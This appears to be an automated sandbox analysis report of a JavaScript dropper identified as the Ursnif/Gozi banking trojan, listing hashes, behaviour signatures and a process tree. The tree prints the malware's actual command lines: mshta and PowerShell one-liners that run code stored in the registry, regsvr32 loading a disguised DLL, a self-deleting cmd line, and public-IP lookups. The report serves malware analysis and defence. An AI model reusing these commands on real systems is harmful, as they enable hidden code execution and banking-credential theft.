Overview

overview

10

Static

static

job_attach_h6x.js

windows7_x64

10

job_attach_h6x.js

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    112s
  • platform
    windows10_x64
  • resource
    win10v200410
  • submitted
    17-04-2020 22:23

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General

  • Target

    job_attach_h6x.js

  • Size

    1.3MB

  • MD5

    c9a6a820f7d344bfd42471b9964049a8

  • SHA1

    bdc1669dec4e00d2d76817379b7b5088fadb471b

  • SHA256

    385f77e0604e9926408a261fb3e56268f60e0fda4f124f2d1b0c1b45d106bdc0

  • SHA512

    8b5d2d1ad55b942a5158036530c7c92cdb7318b4e878ff4d3e31d891b5b4a874914860c708d056b0033872cff006ce542ebdd79d04d13249e9c63c7f2622fa8f

Score
10/10
spywarebankertrojangozi_ifsbursnif

Malware Config

Signatures

  • Loads dropped DLL 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious behavior: MapViewOfSection 7 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Makes http(s) request 14 IoCs

    Contacts server via http/https, possibly for C2 communication.

  • Ursnif, Dreambot

    Ursnif is a variant of the Gozi IFSB with more capabilities.

    bankertrojanursnif
  • Suspicious use of WriteProcessMemory 54 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SetThreadContext 7 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spyware
  • Checks whether UAC is enabled 3 IoCs
  • Gozi, Gozi IFSB

    Gozi ISFB is a well-known and widely distributed banking trojan.

    bankertrojangozi_ifsb
  • Modifies Internet Explorer settings 1 TTPs 36 IoCs
    adwarespyware
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious behavior: EnumeratesProcesses 1259 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of WriteProcessMemory
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    PID:3004
    • C:\Windows\system32\wscript.exe
      wscript.exe C:\Users\Admin\AppData\Local\Temp\job_attach_h6x.js
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3328
      • C:\Windows\System32\regsvr32.exe
        "C:\Windows\System32\regsvr32.exe" C:\Users\Admin\AppData\Local\Temp\\DeNSXQbUgM.txt
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3880
        • C:\Windows\SysWOW64\regsvr32.exe
          C:\Users\Admin\AppData\Local\Temp\\DeNSXQbUgM.txt
          4⤵
          • Loads dropped DLL
          PID:3304
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\AppDataLow\\Software\\Microsoft\\786D016B-7752-6A8D-C12C-9B3E8520FF52\\Apdsprov'));if(!window.flag)close()</script>"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3836
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\786D016B-7752-6A8D-C12C-9B3E8520FF52").Assioker))
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        PID:1776
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pfnir1g1\pfnir1g1.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:860
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA3FB.tmp" "c:\Users\Admin\AppData\Local\Temp\pfnir1g1\CSCE0BA480496764639A1B88C2E1BD35991.TMP"
            5⤵
              PID:1004
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0wty5kk1\0wty5kk1.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1032
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA5E0.tmp" "c:\Users\Admin\AppData\Local\Temp\0wty5kk1\CSCEC611F6845DA41ED958C798A60768BC3.TMP"
              5⤵
                PID:1248
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\DeNSXQbUgM.txt"
          2⤵
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          • Suspicious use of SetThreadContext
          PID:1492
          • C:\Windows\system32\PING.EXE
            ping localhost -n 5
            3⤵
            • Suspicious behavior: CmdExeWriteProcessMemorySpam
            • Runs ping.exe
            PID:2100
        • C:\Windows\system32\cmd.exe
          cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\BEA8.bi1"
          2⤵
            PID:2836
            • C:\Windows\system32\nslookup.exe
              nslookup myip.opendns.com resolver1.opendns.com
              3⤵
                PID:3648
            • C:\Windows\system32\cmd.exe
              cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\BEC4.bi1"
              2⤵
                PID:2820
                • C:\Windows\system32\nslookup.exe
                  nslookup myip.opendns.com resolver1.opendns.com
                  3⤵
                    PID:3668
                • C:\Windows\system32\cmd.exe
                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\BEA8.bi1"
                  2⤵
                    PID:3556
                  • C:\Windows\system32\cmd.exe
                    cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\BEC4.bi1"
                    2⤵
                      PID:3608
                    • C:\Program Files\Windows Mail\WinMail.exe
                      "C:\Program Files\Windows Mail\WinMail" OCInstallUserConfigOE
                      2⤵
                        PID:1924
                      • C:\Program Files\Windows Mail\WinMail.exe
                        "C:\Program Files\Windows Mail\WinMail" OCInstallUserConfigOE
                        2⤵
                          PID:4016
                      • C:\Windows\System32\RuntimeBroker.exe
                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                        1⤵
                          PID:3488
                        • C:\Program Files\Internet Explorer\iexplore.exe
                          "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          • Suspicious use of FindShellTrayWindow
                          • Checks whether UAC is enabled
                          • Modifies Internet Explorer settings
                          • Suspicious use of SetWindowsHookEx
                          PID:4008
                          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4008 CREDAT:82945 /prefetch:2
                            2⤵
                            • Checks whether UAC is enabled
                            • Modifies Internet Explorer settings
                            • Suspicious use of SetWindowsHookEx
                            PID:3316
                          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4008 CREDAT:82950 /prefetch:2
                            2⤵
                            • Checks whether UAC is enabled
                            • Modifies Internet Explorer settings
                            • Suspicious use of SetWindowsHookEx
                            PID:3572

                        Network

                        MITRE ATT&CK Enterprise v6

                        Replay Monitor

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                        Downloads

                        • memory/1492-16-0x000001E826D40000-0x000001E826D41000-memory.dmp

                          Filesize

                          4KB

                          Download

                        • memory/1492-22-0x000001E829110000-0x000001E8291C1000-memory.dmp

                          Filesize

                          708KB

                          Download

                        • memory/1776-13-0x00000286FB940000-0x00000286FB9F1000-memory.dmp

                          Filesize

                          708KB

                          Download

                        • memory/1924-30-0x0000025573C90000-0x0000025573C91000-memory.dmp

                          Filesize

                          4KB

                          Download

                        • memory/2100-20-0x0000020DE7600000-0x0000020DE7601000-memory.dmp

                          Filesize

                          4KB

                          Download

                        • memory/3004-15-0x0000000002520000-0x00000000025D1000-memory.dmp

                          Filesize

                          708KB

                          Download

                        • memory/3004-17-0x0000000002520000-0x00000000025D1000-memory.dmp

                          Filesize

                          708KB

                          Download

                        • memory/3004-12-0x0000000000180000-0x0000000000181000-memory.dmp

                          Filesize

                          4KB

                          Download

                        • memory/3004-19-0x0000000002520000-0x00000000025D1000-memory.dmp

                          Filesize

                          708KB

                          Download

                        • memory/3004-31-0x0000000004C90000-0x0000000004D41000-memory.dmp

                          Filesize

                          708KB

                          Download

                        • memory/3004-35-0x0000000004C90000-0x0000000004D41000-memory.dmp

                          Filesize

                          708KB

                          Download

                        • memory/3488-14-0x000001E308570000-0x000001E308571000-memory.dmp

                          Filesize

                          4KB

                          Download

                        • memory/4008-18-0x000002A7783C0000-0x000002A7783C1000-memory.dmp

                          Filesize

                          4KB

                          Download

                        • memory/4016-34-0x000002A67A220000-0x000002A67A221000-memory.dmp

                          Filesize

                          4KB

                          Download